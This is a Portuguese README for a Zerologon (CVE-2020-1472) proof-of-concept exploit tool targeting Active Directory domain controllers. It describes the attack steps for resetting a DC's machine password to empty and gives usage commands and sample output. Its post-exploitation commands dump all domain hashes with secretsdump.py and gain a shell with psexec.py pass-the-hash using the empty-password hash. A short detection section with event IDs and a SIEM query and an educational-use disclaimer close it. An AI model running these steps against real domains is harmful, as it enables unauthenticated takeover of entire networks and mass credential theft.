
Zerologon (CVE-2020-1472) Proof-of-Concept application - Ferramenta crítica de exploração de vulnerabilidade do Active Directory.
Este projeto é uma implementação da vulnerabilidade Zerologon (CVE-2020-1472), uma das vulnerabilidades de segurança mais críticas do Active Directory. Esta vulnerabilidade permite que um atacante não autenticado comprometa todo o domínio do Active Directory ao redefinir a senha da conta de máquina do Controlador de Domínio.
Zerologon é uma falha criptográfica no Protocolo Remoto Netlogon da Microsoft (MS-NRPC). A vulnerabilidade existe na forma como o Netlogon usa a criptografia AES-CFB8 com um vetor de inicialização (IV) fixo em zero.
Resumo Técnico:
1. Seleção do Alvo
└─> Identificar o Controlador de Domínio (FQDN, nome NetBIOS, conta de máquina)
2. Fase de Desafio (I_NetServerReqChallenge)
└─> Enviar desafio do cliente todo zero (0x0000000000000000)
└─> Receber desafio do servidor
3. Fase de Autenticação (I_NetServerAuthenticate2)
└─> Tentar autenticação com credenciais nulas
└─> Repetir até obter sucesso (~1/256 de taxa de sucesso por tentativa)
4. Fase de Redefinição de Senha (I_NetServerPasswordSet2)
└─> Redefinir a senha da conta de máquina do DC para vazia
└─> Novo hash NT: 31d6cfe0d16ae931b73c59d7e0c089c0 (senha vazia)
5. Pós-Exploração
└─> Usar Pass-the-Hash com credenciais vazias
└─> Comprometimento total do domínio alcançado
Usando Visual Studio:
1. Abra o Visual Studio
2. Selecione **Build Solution** no menu **Build**.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Exemplo:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: Nome de Domínio Totalmente Qualificado (FQDN) do Controlador de Domínio alvoDC_NetBIOS_Name: Nome NetBIOS do DC (geralmente o nome do host)Machine_Account_Name: Nome da conta de máquina (deve terminar com $)Exploração bem-sucedida:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Exploração falhou (sistema corrigido):
[-] Attack failed after 2000 attempts. Target likely patched.
Após redefinir com sucesso a senha do DC, você pode:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Detecção baseada em rede:
Detecção baseada em logs:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
Consultas SIEM:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada.
O autor NÃO assume qualquer responsabilidade pelo uso indevido deste código.
Este projeto é licenciado sob a Licença MIT. Para mais informações, consulte o arquivo LICENSE.